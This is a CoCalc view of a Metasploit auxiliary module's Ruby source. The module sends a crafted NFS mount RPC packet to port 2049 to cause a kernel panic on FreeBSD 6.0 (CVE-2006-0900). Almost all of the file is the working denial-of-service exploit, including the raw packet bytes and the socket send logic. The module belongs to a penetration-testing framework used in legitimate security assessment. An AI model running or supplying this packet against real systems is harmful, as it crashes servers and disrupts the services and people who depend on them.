CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb
Views: 11788
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Auxiliary

7
  include Msf::Exploit::Remote::Tcp

8
  include Msf::Auxiliary::Dos

9


10
  def initialize(info = {})

11
    super(update_info(info,

12
      'Name'           => 'FreeBSD Remote NFS RPC Request Denial of Service',

13
      'Description'    => %q{

14
        This module sends a specially-crafted NFS Mount request causing a

15
        kernel panic on host running FreeBSD 6.0.

16
      },

17
      'Author'         => [ 'MC' ],

18
      'License'        => MSF_LICENSE,

19
      'References'     =>

20
        [

21
          [ 'BID', '16838' ],

22
          [ 'OSVDB', '23511' ],

23
          [ 'CVE', '2006-0900' ],

24
        ]))

25


26
      register_options([Opt::RPORT(2049),])

27
  end

28


29
  def run

30
    connect

31


32
    pkt =  "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02"

33
    pkt << "\x00\x01\x86\xa5\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00"

34
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04"

35


36
    print_status("Sending dos packet...")

37


38
    sock.put(pkt)

39


40
    disconnect

41
  end

42
end

43


44